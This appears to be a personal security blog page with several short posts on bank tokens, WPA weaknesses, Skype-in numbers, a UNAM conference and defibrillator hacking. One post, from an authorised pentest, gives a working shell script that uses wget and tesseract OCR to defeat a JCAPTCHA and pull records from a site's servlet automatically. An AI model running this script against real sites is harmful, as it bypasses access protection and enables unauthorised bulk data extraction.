New token from Banamex

A month ago I got an e-mail from Banamex (but hadn't had time to write down a blog entry) notifying of a new scheme to access to online bank system. (It's not a coincidence that Banamex is one of the main targets in Mexico for online fraud, they have a very weak system to authenticate users through an event-based token). It's good news to know that finally they're moving to a more effective system (although not fool-proof, there's still a scenario with MITM).

I haven't received the new token, so I don't have a first-hand experience yet, BUT... I hope the challenge-response scheme they're announcing implements TIME-BASED numbers and not only EVENT-BASED like they do now.

Captcha circumvention

Last week I was trying to bypass a captcha implementation (JCAPTCHA) on a website I was hired to pentest. Although captchas can get very difficult to bypass I found a "weak link" through the WAP portion of the portal in question and I could extract a significant portion of data abusing the nonexistent distortion of the letters shown in the image.


You'll see, there is an OCR (optical character recognition softare) in Linux (tesseract) capable of "reading" the image given to the user, then this tool will write the characters to a text-file.
Using wget we can start http queries to a website, save and load cookies and write data to the filesystem. Putting it all together, we got a shellscript that will circumvent the captcha protection and extract the data in an automatic fashion (it's effective around 60%).

#!/bin/sh

wget http://www.somesite.com/jcaptcha --save-cookies cookies.txt --keep-session-cookies -O /tmp/captcha.jpg 2> /dev/null
djpeg -grayscale /tmp/captcha.jpg | convert - /tmp/captcha.tiff
tesseract /tmp/captcha.tiff jcaptcha
cap=`cat jcaptcha.txt`
wget "http://www.somesite.com/servlet?niv=&nrpv=&query=$somevalue&captcha=$cap" --load-cookies cookies.txt -O salida.txt 2> /dev/null
tam=`wc -c salida.txt| cut -c1-3`
echo $tam
if [ $tam -ne 701 ]; then
mv salida.txt $query.txt
fi

You may wonder why the script uses a length of 701 bytes to detect if the captcha has been defeated, well, it's just assuming the default "error" page has a length of 701 bytes, any other length it's assumed as info extracted from the database (ok, it's not the best approach, but it's just a PoC).

WPA partially broken

"Security researchers say they've developed a way to partially crack the Wi-Fi Protected Access (WPA) encryption standard used to protect data on many wireless networks.

The attack, described as the first practical attack on WPA, will be discussed at the PacSec conference in Tokyo next week. There, researcher Erik Tews will show how he was able to crack WPA encryption and read data being sent from a router to a laptop computer. The attack could also be used to send bogus information to a client connected to the router."

Link.

Skype-in numbers for Mexico city

It's been hard for me to keep the blog up-to-date due to, among others, excess of work, my class at UNAM, mountaineering on weekends.

Anyway, yesterday I've just paid a 3 month subscription to Skype-in service, meaning I can receive calls in my computer that have been generated, mostly, from local phones, I know this is old news for other countries, but in Mexico it's a new service. You can even choose your number (sort of, just the last 4 digits). I can think of many illegal scenarios for scams, and I think it won't take much time to attract the attention of criminals in Mexico, so bad.

UNAM's Computer security conference

The UNAM's computer security conference will be held on September 25th-26th in Mexico city, the line-up includes (among others):

• Eugene Schultz


• Kimberly Zenz


• Dr. Tom Holt


• Peter Casidy


• Lance Spitzner


• Jess Vincent

Registration is now open for this 2-day event. The fee is $100 per person for both days.
Where: Palacio de Minería, downtown.
See you there two weeks from now.

New blog from my class

I've just added a link to a blog related to computer security topics from my class at UNAM. We'll be discussing fresh news and other info. Sorry, only spanish.

Heart defibrillators & security

A couple of weeks ago I received the printed version of "The Institute" newspaper from IEEE. Although not fresh news (I found some headlines dated March 13, 2008), there is an interesting article titled "hacking hearts" about the "hackability" of the human heart defibrillators.

Back in May the IEEE held a Symposium about privacy & security, and the topic of security of defibrillators was deeply discussed, "The researchers tricked the defibrillator into responding to their signals by recording a real device programmer talking electronically to a defibrillator, then replaying the signals wirelessly back to the defibrillator."

Were you concerned about your car's bluetooth connectivity?, what about this?